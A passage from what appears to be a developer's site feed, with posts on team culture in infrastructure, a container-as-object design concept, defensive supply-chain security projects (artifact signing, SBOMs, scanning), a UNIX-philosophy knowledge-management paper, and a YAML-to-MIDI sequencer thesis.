</ul>
<p>Panic does not create culture. It <strong>reveals</strong> it. And what it reveals was already inscribed, line by line, in your infrastructure.</p>
<p>One outage seared into memory began not with the question “what failed” but “who deployed last.” The runbook existed. The dashboards showed the root cause clearly (disk full on a logging node). But the team’s instinct was to find someone to blame. That’s culture. And it was encoded in how they built observability: metrics existed, but no one trusted them more than human intuition and finger-pointing.</p>
<hr />
<h2 id="in-essence">In essence</h2>
<p>Infrasculture is the answer to the question: <strong>What did you believe in when you weren’t thinking about believing in anything?</strong> It is the unexamined byproduct of every “practical” technical decision.</p>
<p>Your Git repository is not just a code history. It is the <strong>archaeological record of your technical culture.</strong> Every commit is a fossil of a priority, a shortcut, a fear, a value.</p>
<p>You do not merely build infrastructure. <strong>You sculpt from abstraction the permanent evidence of your culture</strong>.</p>
<hr />
<p><em>The systems you build reveal more about your team than any retrospective ever will. The evidence is already carved in code.</em></p>
Container Oriented Programming (COP)2026-01-15T00:00:00+00:002026-01-15T00:00:00+00:00
Unknown
https://lf3.gitlab.io/projects/container-oriented-programming/<p><strong>References</strong>: Meyer (1988) <em>Object-Oriented Software Construction</em>, Gamma et al. (1994) <em>Design Patterns</em></p>
<p><em><strong>Work in Progress:</strong> Concept is stable, adding practical examples and refinements.</em></p>
<h2 id="core-idea">Core idea</h2>
<p>Object-oriented reasoning doesn’t have to live inside code. It can live in infrastructure.</p>
<p>Containers already behave like objects. This paper makes that mapping explicit.</p>
<h2 id="the-mapping">The mapping</h2>
<table><thead><tr><th>OOP Concept</th><th>COP Equivalent</th></tr></thead><tbody>
<tr><td>Class</td><td>Minimal image</td></tr>
<tr><td>Object</td><td>Container</td></tr>
<tr><td>Method</td><td>Routine</td></tr>
<tr><td>Attribute</td><td>Container state / volume</td></tr>
<tr><td>Constructor</td><td>Container initialization</td></tr>
<tr><td>Destructor</td><td>Container teardown</td></tr>
<tr><td>Inheritance</td><td>Image layering / composition</td></tr>
<tr><td>Polymorphism</td><td>Replaceable routines / images</td></tr>
<tr><td>Encapsulation</td><td>Container boundaries / interface</td></tr>
<tr><td>Decorator</td><td>Sidecar</td></tr>
<tr><td>Observer</td><td>External monitoring / sidecar</td></tr>
<tr><td>Strategy</td><td>Swappable container implementations</td></tr>
</tbody></table>
<h2 id="why-this-matters">Why this matters</h2>
<p>Production workloads often consist of simple transformations, routing, and aggregation. Unix tools (awk, sed, tee) already embody functional programming principles. Inside containers, they gain object-like properties: encapsulation, identity, lifecycle control.</p>
<h2 id="interfaces-are-explicit">Interfaces are explicit</h2>
<p>In COP, interfaces are paths, streams, and ports - not implicit method calls. This forces clarity at system boundaries. Behavior can be inspected, tested, and replaced without modifying internal logic.</p>
<h2 id="patterns-emerge-naturally">Patterns emerge naturally</h2>
<p><strong>Factory</strong>: Image build pipelines and deployment controllers<br />
<strong>Singleton</strong>: Enforced uniqueness in orchestration<br />
<strong>Observer</strong>: Sidecars or external consumers of streams and metrics<br />
<strong>Strategy</strong>: Swapping images behind a stable interface<br />
<strong>Decorator</strong>: Sidecars attach to containers without modifying core logic</p>
<p>Sidecars are infrastructure-native decorators. A logging sidecar reads stdout, a metrics sidecar exposes counters, a policy sidecar enforces rules. The core container remains unchanged.</p>
<h2 id="minimal-images-as-class-discipline">Minimal images as class discipline</h2>
<p>Minimal images (like Chainguard) limit behavior, reduce attack surface, enforce reproducibility. They define exactly what routines are available - constraining object behavior in a verifiable way.</p>
<p>Polymorphism works operationally: replace one image with another that satisfies the same interface. Behavior changes without refactoring dependent components.</p>
<h2 id="testing">Testing</h2>
<p>Each routine is tested independently:</p>
<pre><code>cat test_input.log | ./metrics_routine.sh > result.log
diff result.log expected.log
</code></pre>
<p>Integration testing validates container composition - interface compatibility and data flow, not internal implementation.</p>
<h2 id="the-instruction-boundary">The instruction boundary</h2>
<p>COP defines the instruction as atomic. Commands like <code>grep ERROR</code> or <code>pandoc -v</code> are instructions. Behind them lies an enormous stack (syscalls, libraries, runtime), but COP intentionally does not model that. The container boundary is where reasoning stops.</p>
<h2 id="connection-to-other-work">Connection to other work</h2>
<ul>
<li><strong>Supply chain security</strong>: Signed, hardened minimal images are the “class discipline” COP describes</li>
<li><strong>UNIX philosophy paper</strong>: Same compositional thinking from different angle</li>
<li><strong>yml2mid</strong>: Similar text-as-structure approach applied to music</li>
</ul>
DevSecOps Supply Chain Security2024-12-20T00:00:00+00:002026-01-31T00:00:00+00:00
Unknown
https://lf3.gitlab.io/projects/devsecops-supply-chain-security/<h1 id="devsecops-supply-chain-security">DevSecOps Supply Chain Security</h1>
<p>Four open-source projects demonstrating practical supply chain security across AWS Lambda, Terraform modules, local development, and Kubernetes.</p>
<h2 id="the-problem">The problem</h2>
<p>Modern infrastructure relies on:</p>
<ul>
<li>Third-party dependencies (pip, npm, helm charts)</li>
<li>Pre-built container images</li>
<li>Infrastructure-as-Code modules</li>
<li>Serverless artifacts</li>
</ul>
<p>Each represents a trust boundary. Without verification:</p>
<ul>
<li>You don’t know what’s actually running</li>
<li>You can’t prove what was deployed</li>
<li>No audit trail for compliance</li>
<li>Tampering goes undetected</li>
</ul>
<h2 id="solution-verifiable-infrastructure">Solution: Verifiable infrastructure</h2>
<p>Signed artifacts, generated SBOMs, automated vulnerability scanning, reproducible builds.</p>
<hr />
<h2 id="project-1-lambda-secure-project">Project 1: Lambda Secure Project</h2>
<p><strong>Repository</strong>: <a rel="noopener nofollow noreferrer" target="_blank" href="https://gitlab.com/lf3/lambda-secure-project">gitlab.com/lf3/lambda-secure-project</a></p>
<p>Automates secure build and deployment of AWS Lambda functions.</p>
<h3 id="what-terraform-apply-does">What <code>terraform apply</code> does:</h3>
<ol>
<li>Discovers Lambda source directories</li>
<li>Builds each function in isolated venv</li>
<li>Produces deterministic ZIP</li>
<li>Generates SBOM for dependencies</li>
<li>Computes SHA256 checksums</li>
<li>Signs artifacts with OpenSSL</li>
<li>Verifies signatures before deployment</li>
<li>Runs vulnerability scans (Safety + Grype)</li>
<li>Generates coverage/metrics reports</li>
<li>Deploys to AWS Lambda</li>
</ol>
<h3 id="tech-stack">Tech stack</h3>
<ul>
<li>Terraform for orchestration</li>
<li>Bash scripts for build/sign/scan pipeline</li>
<li>OpenSSL for cryptographic operations</li>
<li>Syft/CycloneDX for SBOM generation</li>
<li>Safety and Grype for vulnerability scanning</li>
<li>LocalStack for local AWS emulation</li>
</ul>
<hr />
<h2 id="project-2-terraform-aws-lambdas-guard">Project 2: Terraform AWS Lambdas Guard</h2>
<p><strong>Repository</strong>: <a rel="noopener nofollow noreferrer" target="_blank" href="https://gitlab.com/lf3/terraform-aws-lambdas-guard">gitlab.com/lf3/terraform-aws-lambdas-guard</a></p>
<p>Reusable Terraform module wrapping the Lambda security pipeline.</p>
<h3 id="usage">Usage</h3>
<pre><code>module "lambdas_guard" {
source = "git::https://gitlab.com/lf3/terraform-aws-lambdas-guard.git"
bucket_name = "my-secure-artifacts"
lambda_dirs = ["function1", "function2"]
kms_key_id = "alias/lambda-signing-key"
}
</code></pre>
<h3 id="scripts-all-defensive-with-set-euo-pipefail">Scripts (all defensive with <code>set -euo pipefail</code>)</h3>
<ul>
<li><code>build_lambda.sh</code> - deterministic ZIP packaging</li>
<li><code>sbom.sh</code> - SBOM generation</li>
<li><code>sign.sh</code> - OpenSSL artifact signing</li>
<li><code>verify.sh</code> - signature verification (blocks deployment on failure)</li>
<li><code>deps_scan.sh</code> - vulnerability scanning</li>
<li><code>deps_coverage.sh</code> - enforce coverage thresholds</li>
<li><code>test_local.sh</code> - run Lambdas locally in Docker</li>
</ul>
<hr />
<h2 id="project-3-iac-infosec-devenv">Project 3: IAC InfoSec DevEnv</h2>
<p><strong>Repository</strong>: <a rel="noopener nofollow noreferrer" target="_blank" href="https://gitlab.com/lf3/iac-infosec-devenv">gitlab.com/lf3/iac-infosec-devenv</a></p>
<p>Local IaC development environment for security validation. Entirely offline using LocalStack.</p>
<h3 id="what-it-provides">What it provides</h3>
<ul>
<li>IAM roles, policies, delegation flows</li>
<li>S3 encryption and access control</li>
<li>Secrets Manager integration</li>
<li>KMS key management</li>
<li>gRPC-based access control microservices</li>
</ul>
<h3 id="use-cases">Use cases</h3>
<ul>
<li>Prototype security configs before cloud deployment</li>
<li>Train engineers on AWS security without risk</li>
<li>Validate IaC meets compliance requirements (GDPR, HIPAA)</li>
<li>Develop access control microservices with gRPC</li>
<li>Test integration with dummy credentials</li>
</ul>
<h3 id="testing-flow">Testing flow</h3>
<pre><code>./scripts/start.sh # Start LocalStack + Terraform apply
./checks/check_s3.sh # Verify S3 access controls
./checks/check_iam.sh # Verify IAM policies
python grpc/client.py # Test gRPC access validation
./scripts/clean.sh # Tear down
</code></pre>
<hr />
<h2 id="project-4-helm-auditor">Project 4: Helm Auditor</h2>
<p><strong>Repository</strong>: <a rel="noopener nofollow noreferrer" target="_blank" href="https://gitlab.com/lf3/helm-auditor">gitlab.com/lf3/helm-auditor</a></p>
<p>Kubernetes-native Helm supply chain auditor. Generates SBOM, vulnerability reports, and provenance data.</p>
<h3 id="what-it-does">What it does</h3>
<ol>
<li>Pulls and renders Helm charts</li>
<li>Scans rendered manifests for misconfigurations (Trivy)</li>
<li>Extracts container images from manifests</li>
<li>Runs per-image Kubernetes Jobs for vulnerability scanning, SBOM generation, provenance verification</li>
<li>Aggregates results into policy-aware audit reports</li>
</ol>
<h3 id="pipeline-stages">Pipeline stages</h3>
<p><strong>Init containers</strong>: helm pull, helm template, Trivy config scan<br />
<strong>Auditor container</strong>: Parse templates, extract images, dispatch K8s Jobs<br />
<strong>Analysis stage</strong>: Aggregate SBOM/vulnerability/provenance data, enforce policy rules</p>
<h3 id="running-locally">Running locally</h3>
<pre><code>./make.sh # Builds image, loads to Minikube, deploys auditor
</code></pre>
<p>Requires Minikube. Chart config via ConfigMap.</p>
<hr />
<h2 id="common-themes">Common themes</h2>
<p><strong>Shift-left security</strong>: Sign before deploy, scan before push, generate SBOM automatically<br />
<strong>Verifiable artifacts</strong>: Every artifact has signature, SBOM, hash, scan results<br />
<strong>Reproducible builds</strong>: Same source → same artifact<br />
<strong>Local-first development</strong>: LocalStack for AWS, Minikube for Kubernetes<br />
<strong>Infrastructure as Code</strong>: Version-controlled, declarative, testable, reproducible</p>
<hr />
<h2 id="technical-decisions">Technical decisions</h2>
<p><strong>OpenSSL for signing</strong>: Ubiquitous, simple RSA signing, verifiable in CI/CD<br />
<strong>Syft + Grype</strong>: Open source, fast (Go), accurate vulnerability database, CycloneDX support<br />
<strong>LocalStack</strong>: Offline development, no cloud costs, realistic AWS API emulation<br />
<strong>Kubernetes Jobs</strong>: Parallel scanning, isolation per Pod, native K8s primitives</p>
<hr />
<h2 id="connection-to-other-work">Connection to other work</h2>
<ul>
<li><strong>COP</strong>: Each tool is a focused routine with explicit interfaces</li>
<li><strong>UNIX Philosophy</strong>: Small, single-purpose scripts composing into pipelines</li>
<li><strong>yml2mid</strong>: Text-based representation, version-controlled, reproducible outputs</li>
</ul>
Test 22024-09-20T23:40:00+06:302024-09-20T23:40:00+06:30
Lisandro fernández
Example author
https://lf3.gitlab.io/blog/test/<p><em>This post is meant to be removed. It is used to check the visual appeal of elements such as font weight, colors, and the grid system.</em></p>
<h2 id="color">Color</h2>
<p><a href="/color-test-standalone">OKLCH Color calibration test page</a></p>
<p>Test4</p>
<h1 id="h1">h1</h1>
<h2 id="h2">h2</h2>
<h3 id="h3">h3</h3>
<h4 id="h4">h4</h4>
<h5 id="h5">h5</h5>
<h6 id="h6">h6</h6>
<p>A text.</p>
<p>Ul list:</p>
<ul>
<li>Item1</li>
<li>Item2</li>
<li>Item 3.</li>
</ul>
<p>Ul with dash list:</p>
<ul>
<li>UI</li>
<li>Command line</li>
<li>Server</li>
</ul>
<p>Ordered list:</p>
<ol>
<li>JS</li>
<li>HTML</li>
<li>CSS</li>
</ol>
<p><a rel="noopener nofollow noreferrer" target="_blank" href="https://example.com">Link</a></p>
<p>The command <code>$zola build</code> can be used, code syntax.</p>
<pre><code>print("Hello, world!")
</code></pre>
<pre><code>name: "Jon"
age: 26
</code></pre>
<p>This is a <em>bold</em> test.</p>
<p>This is another <strong>bold</strong>.</p>
<p><del>rong</del><ins>Wrong</ins> spelling.</p>
UNIX Philosophy and Knowledge Management2022-10-01T00:00:00+00:002022-10-01T00:00:00+00:00
Unknown
https://lf3.gitlab.io/projects/unix-philosophy-knowledge-management/<h1 id="unix-philosophy-and-knowledge-management">UNIX Philosophy and Knowledge Management</h1>
<p><strong>Institution</strong>: Universidad Tecnológica Nacional, Facultad Regional Buenos Aires<br />
<strong>Program</strong>: M.Sc. in Information Systems Engineering<br />
<strong>Course</strong>: Models of Organizations and Information Systems</p>
<h2 id="thesis">Thesis</h2>
<p>UNIX philosophy isn’t just technical guidelines. It’s a framework for how information moves, how knowledge gets shared, and how communities sustain themselves.</p>
<p>This paper maps those principles directly onto Knowledge Management (KM).</p>
<h2 id="the-principles-mapped">The principles mapped</h2>
<h3 id="1-common-structure-everything-is-a-file">1. Common structure - “Everything is a file”</h3>
<p>UNIX unified everything under a single file abstraction so general-purpose tools could operate on anything.</p>
<p>Applied to KM: organize around a unified description of elements and processes. The same tools (search, transform, archive, share) work regardless of what the knowledge is.</p>
<p>Heterogeneous sources, one consistent structure.</p>
<h3 id="2-modularity-small-focused-composable">2. Modularity - Small, focused, composable</h3>
<p>Small processes that do one thing well. Transparent, robust, designed to be combined.</p>
<p>This is optimal for knowledge management. When knowledge units are modular, they can be reused in contexts the original author never anticipated.</p>
<h3 id="3-plain-text-as-universal-format">3. Plain text as universal format</h3>
<p>UNIX resists proprietary interfaces. The consequence: plain text becomes the preferred container.</p>
<p>Why plain text:</p>
<ul>
<li>Any tool on any platform can read it</li>
<li>String processing is the most basic computer operation</li>
<li>No format-specific barriers to updating</li>
<li>Test data easily added or modified</li>
<li>Lightweight when resources constrained</li>
<li>Outlasts the applications that created it</li>
</ul>
<p>Knowledge should be prepared for automation. The consumer may not be human.</p>
<h3 id="4-community-colleagues-not-consumers">4. Community - Colleagues, not consumers</h3>
<p>UNIX culture treats participants as colleagues with similar privileges. Everyone can identify problems, suggest improvements, help refine the system.</p>
<p>Knowledge transfer becomes evidence of a community that learns. Individuals acquire, generate, and share knowledge in a spiral - not a one-way flow.</p>
<h2 id="the-counter-argument">The counter-argument</h2>
<p>Does this model hold in contexts of personalized services at scale? Machine learning, knowledge extraction, recommendation systems operate on principles that tension with UNIX modularity.</p>
<p>The paper doesn’t resolve this. It names it honestly.</p>
<h2 id="on-forking-and-resilience">On forking and resilience</h2>
<p>Optimized coordination that becomes too centralized can threaten community longevity. Countermeasure: forking.</p>
<p>Forking - creating an independent branch - is how communities remain resilient against capture or stagnation.</p>
<h2 id="connection-to-other-work">Connection to other work</h2>
<ul>
<li><strong>yml2mid thesis</strong>: Opens with explicit defense of plain text and CLI for musical composition</li>
<li><strong>COP paper</strong>: Applies compositional thinking to container infrastructure</li>
<li><strong>article-boilerplate</strong>: Direct implementation - academic publishing as composable pipeline</li>
</ul>
<h2 id="key-references">Key references</h2>
<ul>
<li>Kernighan & Pike (1984) - <em>The UNIX Programming Environment</em></li>
<li>Raymond (1999) - <em>The Cathedral and the Bazaar</em></li>
<li>Nonaka & Toyama (2005) - Knowledge-creating firm theory</li>
<li>Buterin (2020) - Coordination, good and bad</li>
</ul>
yml2mid: YAML to MIDI Sequencer2019-11-01T00:00:00+00:002019-11-01T00:00:00+00:00
Unknown
https://lf3.gitlab.io/projects/yml2mid-thesis/<h1 id="yml2mid-yaml-to-midi-sequencer">yml2mid: YAML to MIDI Sequencer</h1>
<p><strong>Repository</strong>: <a rel="noopener nofollow noreferrer" target="_blank" href="https://gitlab.com/lf3/yml2mid">gitlab.com/lf3/yml2mid</a><br />
<strong>Thesis</strong>: <a rel="noopener nofollow noreferrer" target="_blank" href="https://github.com/lifofernandez/UNQ-MyT-tesis">UNQ Music Technology Bachelor’s Thesis (2019)</a></p>
<p>A text-based MIDI sequencer that generates music from YAML files. Developed as part of a Bachelor’s thesis in Music Technology at Universidad Nacional de Quilmes.</p>
<h2 id="what-it-does">What it does</h2>
<p>Reads YAML definitions of musical structures and outputs standard MIDI files. The entire composition workflow happens in plain text, version-controlled, and processable by any text tool.</p>
<pre><code>YAML → PyYAML parser → Secuencia (logic) → MIDIUtil → MIDI file
</code></pre>
<h2 id="why-plain-text-for-music">Why plain text for music</h2>
<p>Traditional music tools (DAWs, notation software) lock musical information into proprietary formats. They’re not version-controllable, difficult to automate, and couple representation to a specific application.</p>
<p>yml2mid treats musical information as plain text - portable, manipulable, and processable programmatically.</p>
<h2 id="language-structure">Language structure</h2>
<p>Musical discourse organized as a tree:</p>
<ul>
<li><strong>Pista</strong> (Track) - instrument part</li>
<li><strong>Sección</strong> (Section) - groups of units</li>
<li><strong>Segmento</strong> (Segment) - actual note data</li>
<li><strong>Articulación</strong> - individual notes/events</li>
</ul>
<h3 id="property-inheritance">Property inheritance</h3>
<p>Units inherit from parent units using YAML anchors:</p>
<pre><code>base: &base
transportar: 60
registro: [0, 2, 4, 5, 7, 9, 11, 12]
a: &a
<<: *base
alturas: [5, 5, 6, 5]
duraciones: [.75, .25, 1, 1]
</code></pre>
<h3 id="registration-system">Registration system</h3>
<p>Pitches are indices into a scale array, not absolute MIDI notes:</p>
<pre><code>registro: [0, 2, 4, 5, 7, 9, 11, 12] # major scale intervals
alturas: [1, 3, 5, 8] # C, E, G, C'
</code></pre>
<p>Transposition works at two levels: <code>transportar</code> shifts MIDI note, <code>transponer</code> shifts index within scale.</p>
<h2 id="examples">Examples</h2>
<p><strong>Feliz Cumpleaños</strong> (single track):</p>
<ul>
<li>Hierarchical form structure</li>
<li>Property inheritance across levels</li>
<li>Transposition within registration</li>
<li>Lyrics synchronized with notes</li>
</ul>
<p><strong>Billie Jean</strong> (bass, drums, keys):</p>
<ul>
<li>Multi-track MIDI output</li>
<li>Drum programming using fixed registration</li>
<li>Voice layering for chords</li>
<li>Different registration per track</li>
</ul>
<h2 id="plugin-system">Plugin system</h2>
<p>User plugins enable algorithmic transformations:</p>
<pre><code>complementos: 'enchufes.py'
unidades:
a:
alturas: [5, 5, 6, 5]
fluctuar: # calls fluctuar() in enchufes.py
dinamicas: .5
</code></pre>
<p>Allows randomization, variation, generative patterns without modifying core system.</p>
<h2 id="tech-stack">Tech stack</h2>
<ul>
<li><strong>Python 3</strong> - implementation language</li>
<li><strong>PyYAML</strong> - YAML parsing</li>
<li><strong>MIDIUtil</strong> - MIDI encoding</li>
<li><strong>Spanish vocabulary</strong> - domain-specific language terms</li>
</ul>
<h2 id="connection-to-other-work">Connection to other work</h2>
<ul>
<li><strong>UNIX Philosophy paper</strong>: Applies same plain-text, composable-process thinking</li>
<li><strong>COP paper</strong>: Structured text as primary reasoning medium</li>
<li><strong>article-boilerplate</strong>: Same documents-as-code philosophy</li>
<li><strong>National Innovation Award</strong>: MIDI controller builds on this thesis work</li>
</ul>